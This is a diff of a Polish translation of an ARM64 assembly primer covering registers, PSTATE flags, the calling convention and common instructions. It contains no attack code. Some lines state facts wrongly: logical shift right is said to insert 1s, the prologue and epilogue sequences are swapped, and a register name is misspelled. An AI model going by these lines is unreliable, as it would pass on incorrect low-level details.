+Użycie tych poziomów pozwala na uporządkowane i bezpieczne zarządzanie różnymi aspektami systemu, od aplikacji użytkownika po najbardziej uprzywilejowane oprogramowanie systemowe. Podejście ARMv8 do poziomów przywilejów pomaga skutecznie izolować różne komponenty systemu, zwiększając w ten sposób jego bezpieczeństwo i odporność.
 
 ## **Rejestry (ARM64v8)**
 
-ARM64 ma **31 rejestrów ogólnego przeznaczenia**, oznaczonych od `x0` do `x30`. Każdy z nich może przechowywać wartość **64-bitową** (8-bajtową). W przypadku operacji, które wymagają tylko wartości 32-bitowych, te same rejestry mogą być używane w trybie 32-bitowym, używając nazw w0 do w30.
+ARM64 ma **31 rejestrów ogólnego przeznaczenia**, oznaczonych `x0` do `x30`. Każdy może przechowywać wartość **64-bitową** (8 bajtów). Dla operacji wymagających tylko wartości 32-bitowych te same rejestry można adresować w trybie 32-bitowym używając nazw `w0` do `w30`.
 
-1. **`x0`** do **`x7`** - Zwykle są używane jako rejestry pomocnicze i do przekazywania parametrów do podprogramów.
-- **`x0`** również przenosi dane zwrotne funkcji.
-2. **`x8`** - W jądrze Linux, `x8` jest używany jako numer wywołania systemowego dla instrukcji `svc`. **W macOS używany jest `x16`!**
-3. **`x9`** do **`x15`** - Więcej rejestrów tymczasowych, często używanych do zmiennych lokalnych.
-4. **`x16`** i **`x17`** - **Rejestry Wywołań Wewnątrzproceduralnych**. Rejestry tymczasowe dla wartości natychmiastowych. Są również używane do pośrednich wywołań funkcji i stubów PLT (Tabela Łączenia Procedur).
+1. **`x0`** do **`x7`** - Zwykle używane jako rejestry tymczasowe i do przekazywania parametrów do podprocedur.
+- **`x0`** również zawiera dane zwracane przez funkcję
+2. **`x8`** - W jądrze Linux `x8` jest używany jako numer wywołania systemowego dla instrukcji `svc`. **W macOS używany jest jednak x16!**
+3. **`x9`** do **`x15`** - Kolejne rejestry tymczasowe, często używane dla zmiennych lokalnych.
+4. **`x16`** i **`x17`** - **Intra-procedural Call Registers**. Rejestry tymczasowe dla wartości natychmiastowych. Są też używane do pośrednich wywołań funkcji i stubów PLT.
 - **`x16`** jest używany jako **numer wywołania systemowego** dla instrukcji **`svc`** w **macOS**.
-5. **`x18`** - **Rejestr platformy**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany do specyficznych zastosowań platformy: wskaźnik do bloku środowiska wątku w Windows lub wskaźnik do aktualnie **wykonującej się struktury zadania w jądrze Linux**.
-6. **`x19`** do **`x28`** - To rejestry zachowywane przez wywoływaną funkcję. Funkcja musi zachować wartości tych rejestrów dla swojego wywołującego, więc są one przechowywane na stosie i odzyskiwane przed powrotem do wywołującego.
-7. **`x29`** - **Wskaźnik ramki** do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu z powodu wywołania funkcji, rejestr **`x29`** jest **przechowywany na stosie**, a adres **nowego** wskaźnika ramki (adres **`sp`**) jest **przechowywany w tym rejestrze**.
-- Ten rejestr może być również używany jako **rejestr ogólnego przeznaczenia**, chociaż zazwyczaj jest używany jako odniesienie do **zmiennych lokalnych**.
-8. **`x30`** lub **`lr`** - **Rejestr łączenia**. Przechowuje **adres zwrotny**, gdy wykonywana jest instrukcja `BL` (Branch with Link) lub `BLR` (Branch with Link to Register), przechowując wartość **`pc`** w tym rejestrze.
-- Może być również używany jak każdy inny rejestr.
-- Jeśli aktualna funkcja ma wywołać nową funkcję i tym samym nadpisać `lr`, przechowa ją na stosie na początku, to jest epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Przechowaj `fp` i `lr`, wygeneruj przestrzeń i uzyskaj nowy `fp`) i odzyska ją na końcu, to jest prolog (`ldp x29, x30, [sp], #48; ret` -> Odzyskaj `fp` i `lr` i zwróć).
-9. **`sp`** - **Wskaźnik stosu**, używany do śledzenia wierzchołka stosu.
-- Wartość **`sp`** powinna być zawsze utrzymywana co najmniej w **wyrównaniu quadword**, w przeciwnym razie może wystąpić wyjątek wyrównania.
-10. **`pc`** - **Licznik programu**, który wskazuje na następną instrukcję. Ten rejestr może być aktualizowany tylko przez generowanie wyjątków, zwroty wyjątków i skoki. Jedynymi zwykłymi instrukcjami, które mogą odczytać ten rejestr, są instrukcje skoku z łącznikiem (BL, BLR), aby przechować adres **`pc`** w **`lr`** (Rejestr Łączenia).
-11. **`xzr`** - **Rejestr zerowy**. Nazywany również **`wzr`** w formie rejestru **32**-bitowego. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań przy użyciu **`subs`** jak **`subs XZR, Xn, #10`**, przechowując wynikowe dane nigdzie (w **`xzr`**).
+5. **`x18`** - **Platform register**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany do zastosowań specyficznych dla platformy: wskaźnik do bieżącego bloku środowiska wątku w Windows, lub wskaźnik do aktualnie **wykonywanej struktury zadania w jądrze linux**.
+6. **`x19`** do **`x28`** - To rejestry zachowywane przez wywoływanego (callee-saved). Funkcja musi zachować wartości tych rejestrów dla swojego wywołującego, więc są one zapisywane na stosie i odzyskiwane przed powrotem do wywołującego.
+7. **`x29`** - **Frame pointer** do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu w wyniku wywołania funkcji, rejestr **`x29`** jest **zapisywany na stosie** a **nowy** adres wskaźnika ramki (adres **`sp`**) jest **zapisywany w tym rejestrze**.
+- Ten rejestr może być też używany jako **rejestr ogólnego przeznaczenia**, chociaż zwykle służy jako odniesienie do **zmiennych lokalnych**.
+8. **`x30`** lub **`lr`** - **Link register**. Zawiera **adres powrotu** gdy wykonywana jest instrukcja `BL` (Branch with Link) lub `BLR` (Branch with Link to Register) przez zapisanie wartości **`pc`** w tym rejestrze.
+- Może być też używany jak każdy inny rejestr.
+- Jeśli bieżąca funkcja wywoła nową funkcję i nadpisze `lr`, zapisze go na stosie na początku (to jest epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Zapisz `fp` i `lr`, wygeneruj miejsce i ustaw nowy `fp`)) i odzyska go na końcu (to jest prolog (`ldp x29, x30, [sp], #48; ret` -> Odzyskaj `fp` i `lr` i wróć)).
+9. **`sp`** - **Stack pointer**, używany do śledzenia szczytu stosu.
+- wartość **`sp`** powinna zawsze zachować co najmniej **wyrównanie do quadword** inaczej może wystąpić wyjątek wyrównania.
+10. **`pc`** - **Program counter**, wskazuje na następną instrukcję. Ten rejestr może być aktualizowany tylko poprzez generowanie wyjątków, powroty z wyjątków i branche. Jedynymi zwykłymi instrukcjami, które mogą odczytać ten rejestr, są instrukcje branch with link (BL, BLR) aby zapisać adres **`pc`** w **`lr`** (Link Register).
+11. **`xzr`** - **Zero register**. Nazywany też **`wzr`** w swojej 32-bitowej formie. Można go użyć do łatwego uzyskania zera (częsta operacja) lub do wykonywania porównań używając **`subs`** jak **`subs XZR, Xn, #10`** nie zapisując wyniku nigdzie (w **`xzr`**).
 
-Rejestry **`Wn`** są **32-bitową** wersją rejestrów **`Xn`**.
+Rejestry **`Wn`** są wersją **32-bitową** rejestru **`Xn`**.
+
+> [!TIP]
+> Rejestry od X0 do X18 są lotne (volatile), co oznacza, że ich wartości mogą być zmieniane przez wywołania funkcji i przerwania. Natomiast rejestry od X19 do X28 są nie-lotne (non-volatile), co oznacza, że ich wartości muszą być zachowane podczas wywołań funkcji ("callee saved").
 
 ### Rejestry SIMD i zmiennoprzecinkowe
 
-Ponadto istnieje kolejne **32 rejestry o długości 128 bitów**, które mogą być używane w zoptymalizowanych operacjach SIMD (Single Instruction Multiple Data) oraz do wykonywania arytmetyki zmiennoprzecinkowej. Nazywane są rejestrami Vn, chociaż mogą również działać w **64**-bitach, **32**-bitach, **16**-bitach i **8**-bitach, a wtedy nazywane są **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
+Ponadto istnieje jeszcze **32 rejestry o długości 128 bitów**, które mogą być używane w zoptymalizowanych operacjach single instruction multiple data (SIMD) oraz do obliczeń zmiennoprzecinkowych. Są one nazywane rejestrami Vn chociaż mogą też działać w trybach **64**-bit, **32**-bit, **16**-bit i **8**-bit i wtedy nazywane są **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
 
 ### Rejestry systemowe
 
-**Istnieją setki rejestrów systemowych**, zwanych również rejestrami o specjalnym przeznaczeniu (SPRs), które są używane do **monitorowania** i **kontrolowania** zachowania **procesorów**.\
-Mogą być odczytywane lub ustawiane tylko za pomocą dedykowanej specjalnej instrukcji **`mrs`** i **`msr`**.
+**Istnieją setki rejestrów systemowych**, nazywanych także rejestrami specjalnego przeznaczenia (SPRs), używanych do **monitorowania** i **kontroli** zachowania **procesora**.\
+Można je odczytywać lub ustawiać tylko przy użyciu dedykowanych instrukcji specjalnych **`mrs`** i **`msr`**.
 
-Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas inżynierii odwrotnej. Sufiks `EL0` wskazuje na **minimalny wyjątek**, z którego rejestr może być dostępny (w tym przypadku EL0 to regularny poziom wyjątku (uprawnienia), na którym działają zwykłe programy).\
-Często są używane do przechowywania **adresu bazowego lokalizacji pamięci** dla przechowywania lokalnego wątku. Zwykle pierwszy z nich jest odczytywalny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro).
+Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas inżynierii wstecznej. Sufiks `EL0` wskazuje minimalny poziom wyjątku, z którego rejestr może być dostępny (w tym przypadku EL0 to zwykły poziom przywilejów, na którym działają programy użytkownika).\
+Często są używane do przechowywania **adresu bazowego lokalnej przestrzeni wątku** (thread-local storage). Zazwyczaj pierwszy jest czytelny i zapisywalny dla programów działających w EL0, ale drugi można odczytać z EL0 i zapisać z EL1 (np. jądro).
 
-- `mrs x0, TPIDR_EL0 ; Odczytaj TPIDR_EL0 do x0`
-- `msr TPIDR_EL0, X0 ; Zapisz x0 do TPIDR_EL0`
+- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
+- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
 
 ### **PSTATE**
 
-**PSTATE** zawiera kilka komponentów procesu zserializowanych w widocznym dla systemu operacyjnego **`SPSR_ELx`** specjalnym rejestrze, gdzie X oznacza **poziom uprawnień** **wywołanego** wyjątku (to pozwala na odzyskanie stanu procesu po zakończeniu wyjątku).\
-Oto dostępne pola:
+**PSTATE** zawiera kilka komponentów procesu zserializowanych w widocznym dla systemu operacyjnego specjalnym rejestrze **`SPSR_ELx`**, gdzie X to **poziom uprawnień wywołanego** wyjątku (to pozwala odzyskać stan procesu po zakończeniu wyjątku).\
+Dostępne pola to:
 
 <figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
 
 - Flagi warunkowe **`N`**, **`Z`**, **`C`** i **`V`**:
 - **`N`** oznacza, że operacja dała wynik ujemny
 - **`Z`** oznacza, że operacja dała zero
-- **`C`** oznacza, że operacja miała przeniesienie
-- **`V`** oznacza, że operacja dała przepełnienie ze znakiem:
-- Suma dwóch liczb dodatnich daje wynik ujemny.
-- Suma dwóch liczb ujemnych daje wynik dodatni.
-- W przypadku odejmowania, gdy duża liczba ujemna jest odejmowana od mniejszej liczby dodatniej (lub odwrotnie), a wynik nie może być reprezentowany w zakresie danej wielkości bitowej.
-- Oczywiście procesor nie wie, czy operacja jest ze znakiem, czy nie, więc sprawdzi C i V w operacjach i wskaże, czy wystąpiło przeniesienie w przypadku, gdy było to ze znakiem lub bez znaku.
+- **`C`** oznacza, że wystąpiło przeniesienie (carry)
+- **`V`** oznacza, że operacja spowodowała przepełnienie ze znakiem:
+- Suma dwóch dodatnich liczb daje wynik ujemny.
+- Suma dwóch ujemnych liczb daje wynik dodatni.
+- W odejmowaniu, gdy duża liczba ujemna jest odjęta od mniejszej dodatniej (lub odwrotnie), a wynik nie mieści się w zakresie danej szerokości bitowej.
+- Oczywiście procesor nie wie, czy operacja jest ze znakiem czy bez, więc sprawdza C i V w operacjach i wskaże, czy wystąpiło przeniesienie niezależnie od tego, czy operacja była ze znakiem czy bez.
 
 > [!WARNING]
-> Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak **`CMP`** lub **`TST`**, to robią, a inne, które mają sufiks s, takie jak **`ADDS`**, również to robią.
+> Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak **`CMP`** lub **`TST`**, to robią, a inne z sufiksem s, jak **`ADDS`**, także to robią.
 
-- Flaga **szerokości rejestru (`nRW`)**: Jeśli flaga ma wartość 0, program będzie działał w stanie wykonawczym AArch64 po wznowieniu.
-- Aktualny **Poziom Wyjątków** (**`EL`**): Zwykły program działający w EL0 będzie miał wartość 0.
-- Flaga **jednoetapowego** (**`SS`**): Używana przez debugery do jednoetapowego wykonania, ustawiając flagę SS na 1 wewnątrz **`SPSR_ELx`** przez wyjątek. Program wykona krok i wyda wyjątek jednoetapowy.
-- Flaga stanu **nielegalnego wyjątku** (**`IL`**): Używana do oznaczania, gdy oprogramowanie z uprawnieniami wykonuje nieprawidłowe przejście na poziom wyjątku, ta flaga jest ustawiana na 1, a procesor wyzwala wyjątek stanu nielegalnego.
-- Flagi **`DAIF`**: Te flagi pozwalają programowi z uprawnieniami na selektywne maskowanie niektórych zewnętrznych wyjątków.
-- Jeśli **`A`** wynosi 1, oznacza to, że będą wyzwalane **asynchroniczne przerwania**. Flaga **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwania sprzętowego (IRQ). Flaga F jest związana z **szybkimi żądaniami przerwania** (FIR).
-- Flagi **wyboru wskaźnika stosu** (**`SPS`**): Programy z uprawnieniami działające w EL1 i wyżej mogą przełączać się między używaniem własnego rejestru wskaźnika stosu a wskaźnikiem modelu użytkownika (np. między `SP_EL1` a `EL0`). To przełączanie odbywa się przez zapis do specjalnego rejestru **`SPSel`**. Nie można tego zrobić z EL0.
+- Aktualna **szerokość rejestru (`nRW`)**: Jeśli flaga ma wartość 0, program będzie działał w stanie wykonania AArch64 po wznowieniu.
+- Aktualny **Poziom Wyjątku** (**`EL`**): Zwykły program działający w EL0 będzie miał wartość 0
+- Flaga **single stepping** (**`SS`**): Używana przez debugery do pojedynczego kroku przez ustawienie flagi SS na 1 w **`SPSR_ELx`** przez wyjątek. Program wykona krok i zgłosi wyjątek pojedynczego kroku.
+- Flaga stanu nielegalnego wyjątku (**`IL`**): Służy do oznaczania, gdy uprzywilejowane oprogramowanie wykonuje nieprawidłowy transfer poziomu wyjątku, ta flaga jest ustawiana na 1 i procesor wywołuje wyjątek nielegalnego stanu.
+- Flagi **`DAIF`**: Te flagi pozwalają uprzywilejowanemu programowi selektywnie maskować pewne zewnętrzne wyjątki.
+- Jeśli **`A`** jest 1 oznacza to, że będą wyzwalane **asynchroniczne aborty**. **`I`** konfiguruje reagowanie na zewnętrzne żądania przerwań sprzętowych (IRQs), a **`F`** dotyczy **Fast Interrupt Requests** (FIRs).
+- Flagi wyboru wskaźnika stosu (**`SPS`**): Uprzywilejowane programy działające w EL1 i wyżej mogą przełączać się między używaniem własnego rejestru wskaźnika stosu a tym z modelu użytkownika (np. między `SP_EL1` a `EL0`). To przełączenie realizowane jest przez zapis do specjalnego rejestru **`SPSel`**. Nie można tego zrobić z EL0.
 
-## **Konwencja Wywołań (ARM64v8)**
+## **Konwencja wywołań (ARM64v8)**
 
-Konwencja wywołań ARM64 określa, że **pierwsze osiem parametrów** do funkcji jest przekazywanych w rejestrach **`x0` do `x7`**. **Dodatkowe** parametry są przekazywane na **stosie**. Wartość **zwrotna** jest przekazywana z powrotem w rejestrze **`x0`**, lub w **`x1`**, jeśli ma długość 128 bitów. Rejestry **`x19`** do **`x30`** oraz **`sp`** muszą być **zachowane** podczas wywołań funkcji.
+Konwencja wywołań ARM64 określa, że **pierwsze osiem parametrów** funkcji przekazywane jest w rejestrach **`x0` do `x7`**. **Dodatkowe** parametry przekazywane są na **stosu**. Wartość **zwracana** jest przekazywana w rejestrze **`x0`**, lub także w **`x1`**, jeśli ma **128 bitów**. Rejestry **`x19`** do **`x30`** oraz **`sp`** muszą być **zachowane** podczas wywołań funkcji.
 
-Podczas odczytywania funkcji w asemblerze, zwróć uwagę na **prolog i epilog funkcji**. **Prolog** zazwyczaj obejmuje **zapisanie wskaźnika ramki (`x29`)**, **ustawienie** nowego **wskaźnika ramki** i **alokację przestrzeni na stosie**. **Epilog** zazwyczaj obejmuje **przywrócenie zapisanego wskaźnika ramki** i **powrót** z funkcji.
+Czytając funkcję w asemblerze, szukaj **prologu i epilogu funkcji**. **Prolog** zwykle obejmuje **zapisanie wskaźnika ramki (`x29`)**, **ustawienie** nowego wskaźnika ramki oraz **alokację przestrzeni na stosie**. **Epilog** zwykle obejmuje **przywrócenie zapisanego wskaźnika ramki** i **powrót** z funkcji.
 
-### Konwencja Wywołań w Swift
+### Konwencja wywołań w Swift
 
-Swift ma swoją własną **konwencję wywołań**, którą można znaleźć w [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
+Swift ma własną **konwencję wywołań**, którą można znaleźć pod adresem [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
 
-## **Typowe Instrukcje (ARM64v8)**
+## **Często używane instrukcje (ARM64v8)**
 
-Instrukcje ARM64 mają zazwyczaj **format `opcode dst, src1, src2`**, gdzie **`opcode`** to **operacja**, która ma być wykonana (taka jak `add`, `sub`, `mov` itp.), **`dst`** to **rejestr docelowy**, w którym zostanie przechowany wynik, a **`src1`** i **`src2`** to **rejestry źródłowe**. Wartości natychmiastowe mogą być również używane zamiast rejestrów źródłowych.
+Instrukcje ARM64 zwykle mają **format `opcode dst, src1, src2`**, gdzie **`opcode`** to operacja do wykonania (takie jak `add`, `sub`, `mov` itp.), **`dst`** to rejestr docelowy, w którym zostanie zapisany wynik, a **`src1`** i **`src2`** to rejestry źródłowe. W miejsce rejestrów źródłowych można także użyć wartości natychmiastowych.
 
 - **`mov`**: **Przenieś** wartość z jednego **rejestru** do drugiego.
-- Przykład: `mov x0, x1` — To przenosi wartość z `x1` do `x0`.
+- Przykład: `mov x0, x1` — Przenosi wartość z `x1` do `x0`.
 - **`ldr`**: **Załaduj** wartość z **pamięci** do **rejestru**.
-- Przykład: `ldr x0, [x1]` — To ładuje wartość z lokalizacji pamięci wskazywanej przez `x1` do `x0`.
-- **Tryb offsetu**: Wskazuje na offset wpływający na wskaźnik oryginalny, na przykład:
+- Przykład: `ldr x0, [x1]` — Ładuje wartość z adresu pamięci wskazywanego przez `x1` do `x0`.
+- **Tryb offsetu**: Offset wpływający na wskaźnik źródłowy jest wskazany, na przykład:
 - `ldr x2, [x1, #8]`, to załaduje do x2 wartość z x1 + 8
-- `ldr x2, [x0, x1, lsl #2]`, to załaduje do x2 obiekt z tablicy x0, z pozycji x1 (indeks) \* 4
-- **Tryb wstępnie indeksowany**: To zastosuje obliczenia do oryginału, uzyska wynik i również przechowa nowy oryginał w oryginale.
-- `ldr x2, [x1, #8]!`, to załaduje `x1 + 8` do `x2` i przechowa w x1 wynik `x1 + 8`
-- `str lr, [sp, #-4]!`, Zapisz rejestr łączenia w sp i zaktualizuj rejestr sp
-- **Tryb postindeksowy**: To jest jak poprzedni, ale adres pamięci jest dostępny, a następnie obliczany i przechowywany jest offset.
-- `ldr x0, [x1], #8`, załaduj `x1` do `x0` i zaktualizuj x1 z `x1 + 8`
-- **Adresowanie względne do PC**: W tym przypadku adres do załadowania jest obliczany w odniesieniu do rejestru PC
-- `ldr x1, =_start`, To załaduje adres, w którym zaczyna się symbol `_start` w x1 w odniesieniu do aktualnego PC.
+- `ldr x2, [x0, x1, lsl #2]`, załaduje do x2 obiekt z tablicy x0, z pozycji x1 (indeks) * 4
+- **Tryb pre-indeksowany**: Najpierw obliczany jest adres, wynik jest użyty do załadowania i jednocześnie nowy adres jest zapisany w rejestrze źródłowym.
+- `ldr x2, [x1, #8]!`, to załaduje `x1 + 8` do `x2` i zapisze w x1 wynik `x1 + 8`
+- `str lr, [sp, #-4]!`, Zapisz link register do sp i zaktualizuj rejestr sp
+- **Tryb post-indeksowany**: Podobny do poprzedniego, ale adres pamięci jest odczytywany najpierw, a potem obliczany i zapisywany offset.
+- `ldr x0, [x1], #8`, załaduj z `x1` do `x0` i zaktualizuj x1 do `x1 + 8`
+- **Adresowanie w relacji do PC**: W tym przypadku adres do załadowania jest obliczany względem rejestru PC
+- `ldr x1, =_start`, To załaduje adres, gdzie zaczyna się symbol `_start` do x1 względem bieżącego PC.
 - **`str`**: **Zapisz** wartość z **rejestru** do **pamięci**.
-- Przykład: `str x0, [x1]` — To zapisuje wartość w `x0` do lokalizacji pamięci wskazywanej przez `x1`.
-- **`ldp`**: **Załaduj parę rejestrów**. Ta instrukcja **ładuje dwa rejestry** z **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie offsetu do wartości w innym rejestrze.
-- Przykład: `ldp x0, x1, [x2]` — To ładuje `x0` i `x1` z lokalizacji pamięci w `x2` i `x2 + 8`, odpowiednio.
-- **`stp`**: **Zapisz parę rejestrów**. Ta instrukcja **zapisuje dwa rejestry** do **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie offsetu do wartości w innym rejestrze.
-- Przykład: `stp x0, x1, [sp]` — To zapisuje `x0` i `x1` do lokalizacji pamięci w `sp` i `sp + 8`, odpowiednio.
-- `stp x0, x1, [sp, #16]!` — To zapisuje `x0` i `x1` do lokalizacji pamięci w `sp+16` i `sp + 24`, odpowiednio, i aktualizuje `sp` do `sp+16`.
-- **`add`**: **Dodaj** wartości dwóch rejestrów i przechowaj wynik w rejestrze.
+- Przykład: `str x0, [x1]` — Zapisuje wartość z `x0` do pamięci pod adresem wskazywanym przez `x1`.
+- **`ldp`**: **Load Pair of Registers**. Ta instrukcja **ładuje dwa rejestry** z **kolejnych lokacji pamięci**. Adres pamięci jest zwykle utworzony przez dodanie offsetu do wartości w innym rejestrze.
+- Przykład: `ldp x0, x1, [x2]` — Ładuje `x0` i `x1` z lokacji pamięci pod `x2` i `x2 + 8`.
+- **`stp`**: **Store Pair of Registers**. Ta instrukcja **zapisuje dwa rejestry** do **kolejnych lokacji pamięci**. Adres pamięci jest zwykle utworzony przez dodanie offsetu do wartości w innym rejestrze.
+- Przykład: `stp x0, x1, [sp]` — Zapisuje `x0` i `x1` do lokacji pamięci pod `sp` i `sp + 8`.
+- `stp x0, x1, [sp, #16]!` — Zapisuje `x0` i `x1` do lokacji pamięci pod `sp+16` i `sp + 24`, oraz aktualizuje `sp` do `sp+16`.
+- **`add`**: **Dodaj** wartości dwóch rejestrów i zapisz wynik w rejestrze.
 - Składnia: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
-- Xn1 -> Cel
+- Xn1 -> Docelowy
 - Xn2 -> Operand 1
-- Xn3 | #imm -> Operand 2 (rejestr lub natychmiastowy)
-- \[shift #N | RRX] -> Wykonaj przesunięcie lub wywołaj RRX
-- Przykład: `add x0, x1, x2` — To dodaje wartości w `x1` i `x2` razem i przechowuje wynik w `x0`.
-- `add x5, x5, #1, lsl #12` — To równa się 4096 (1 przesunięcie 12 razy) -> 1 0000 0000 0000 0000
+- Xn3 | #imm -> Operand 2 (rejestr lub natychmiastowa)
+- \[shift #N | RRX] -> Wykonaj przesunięcie lub użyj RRX
+- Przykład: `add x0, x1, x2` — Dodaje wartości w `x1` i `x2` i zapisuje wynik w `x0`.
+- `add x5, x5, #1, lsl #12` — To równa się 4096 (1 przesunięte 12 razy) -> 1 0000 0000 0000 0000
 - **`adds`** To wykonuje `add` i aktualizuje flagi
-- **`sub`**: **Odejmij** wartości dwóch rejestrów i przechowaj wynik w rejestrze.
-- Sprawdź **`add`** **składnię**.
-- Przykład: `sub x0, x1, x2` — To odejmuje wartość w `x2` od `x1` i przechowuje wynik w `x0`.
-- **`subs`** To jest jak sub, ale aktualizuje flagę
-- **`mul`**: **Pomnóż** wartości **dwóch rejestrów** i przechowaj wynik w rejestrze.
-- Przykład: `mul x0, x1, x2` — To mnoży wartości w `x1` i `x2` i przechowuje wynik w `x0`.
-- **`div`**: **Podziel** wartość jednego rejestru przez inny i przechowaj wynik w rejestrze.
-- Przykład: `div x0, x1, x2` — To dzieli wartość w `x1` przez `x2` i przechowuje wynik w `x0`.
+- **`sub`**: **Odejmij** wartości dwóch rejestrów i zapisz wynik w rejestrze.
+- Sprawdź **składnię `add`**.
+- Przykład: `sub x0, x1, x2` — Odejmuje wartość w `x2` od `x1` i zapisuje wynik w `x0`.
+- **`subs`** To jak `sub` ale aktualizuje flagi
+- **`mul`**: **Mnożenie** wartości dwóch rejestrów i zapisanie wyniku w rejestrze.
+- Przykład: `mul x0, x1, x2` — Mnoży wartości w `x1` i `x2` i zapisuje wynik w `x0`.
+- **`div`**: **Dzielenie** wartości jednego rejestru przez inny i zapisanie wyniku w rejestrze.
+- Przykład: `div x0, x1, x2` — Dzieli wartość w `x1` przez `x2` i zapisuje wynik w `x0`.
 - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
-- **Logiczne przesunięcie w lewo**: Dodaj 0 z końca, przesuwając inne bity do przodu (mnożenie przez n razy 2)
-- **Logiczne przesunięcie w prawo**: Dodaj 1 na początku, przesuwając inne bity do tyłu (dzielenie przez n razy 2 w bez znaku)
-- **Arytmetyczne przesunięcie w prawo**: Jak **`lsr`**, ale zamiast dodawania 0, jeśli najbardziej znaczący bit to 1, dodawane są **1** (dzielenie przez n razy 2 w ze znakiem)
-- **Obracanie w prawo**: Jak **`lsr`**, ale cokolwiek usunięte z prawej jest dodawane do lewej
-- **Obracanie w prawo z rozszerzeniem**: Jak **`ror`**, ale z flagą przeniesienia jako "najbardziej znaczący bit". Więc flaga przeniesienia jest przesuwana do bitu 31, a usunięty bit do flagi przeniesienia.
-- **`bfm`**: **Przesunięcie Bitowe**, te operacje **kopiują bity `0...n`** z wartości i umieszczają je w pozycjach **`m..m+n`**. **`#s`** określa **pozycję najbardziej lewego bitu**, a **`#r`** ilość przesunięcia w prawo.
-- Przesunięcie bitowe: `BFM Xd, Xn, #r`
-- Przesunięcie bitowe ze znakiem: `SBFM Xd, Xn, #r, #s`
-- Przesunięcie bitowe bez znaku: `UBFM Xd, Xn, #r, #s`
-- **Ekstrakcja i Wstawianie Bitów:** Kopiuje pole bitowe z rejestru i wstawia je do innego rejestru.
-- **`BFI X1, X2, #3, #4`** Wstawia 4 bity z X2 z 3. bitu X1
-- **`BFXIL X1, X2, #3, #4`** Ekstrahuje z 3. bitu X2 cztery bity i kopiuje je do X1
-- **`SBFIZ X1, X2, #3, #4`** Rozszerza znak 4 bitów z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity
-- **`SBFX X1, X2, #3, #4`** Ekstrahuje 4 bity zaczynając od bitu 3 z X2, rozszerza je ze znakiem i umieszcza wynik w X1
-- **`UBFIZ X1, X2, #3, #4`** Rozszerza 4 bity z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity
-- **`UBFX X1, X2, #3, #4`** Ekstrahuje 4 bity zaczynając od bitu 3 z X2 i umieszcza rozszerzony wynik w X1.
-- **Rozszerzenie znaku do X:** Rozszerza znak (lub dodaje tylko 0 w wersji bez znaku) wartości, aby móc wykonywać operacje z nią:
+- **Logical shift left**: Dodaje 0 z końca przesuwając inne bity do przodu (mnożenie przez 2^n)
+- **Logical shift right**: Dodaje 1 na początku przesuwając bity do tyłu (dzielenie przez 2^n dla wartości bez znaku)
+- **Arithmetic shift right**: Jak **`lsr`**, ale zamiast dodawać 0, jeśli najbardziej znaczący bit jest 1, dodaje 1 (dzielenie przez 2^n dla wartości ze znakiem)
+- **Rotate right**: Jak **`lsr`** ale to, co jest usunięte z prawej, jest doklejane z lewej
+- **Rotate Right with Extend**: Jak **`ror`**, ale używa flagi carry jako "najbardziej znaczącego bitu". Zatem flaga carry jest przenoszona na bit 31, a usunięty bit trafia do flagi carry.
+- **`bfm`**: **Bit Field Move**, te operacje **kopiują bity `0...n`** z wartości i umieszczają je w pozycjach **`m..m+n`**. **`#s`** określa **pozycję lewej granicy bitu**, a **`#r`** ilość rotacji w prawo.
+- Bitfield move: `BFM Xd, Xn, #r`
+- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
+- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
+- **Bitfield Extract and Insert:** Kopiuje pole bitowe z rejestru i wstawia je do innego rejestru.
+- **`BFI X1, X2, #3, #4`** Wstawia 4 bity z X2 od 3. bitu do X1
+- **`BFXIL X1, X2, #3, #4`** Wyciąga od 3. bitu z X2 cztery bity i kopiuje je do X1
+- **`SBFIZ X1, X2, #3, #4`** Rozszerza znak 4 bitów z X2 i wstawia je do X1 zaczynając od pozycji bitowej 3, zerując bity po prawej
+- **`SBFX X1, X2, #3, #4`** Wyciąga 4 bity zaczynając od bitu 3 z X2, rozszerza znak i umieszcza wynik w X1
+- **`UBFIZ X1, X2, #3, #4`** Zerowo rozszerza 4 bity z X2 i wstawia je do X1 zaczynając od pozycji bitowej 3, zerując bity po prawej
+- **`UBFX X1, X2, #3, #4`** Wyciąga 4 bity zaczynając od bitu 3 z X2 i umieszcza zerowo rozszerzony wynik w X1.
+- **Sign Extend To X:** Rozszerza znak (lub dodaje same 0 w wersji bez znaku) wartości, aby można było wykonywać operacje:
 - **`SXTB X1, W2`** Rozszerza znak bajtu **z W2 do X1** (`W2` to połowa `X2`) aby wypełnić 64 bity
